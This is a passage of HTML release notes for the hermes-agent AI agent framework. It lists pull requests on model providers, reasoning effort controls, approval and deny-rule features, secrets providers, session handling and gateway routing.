<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
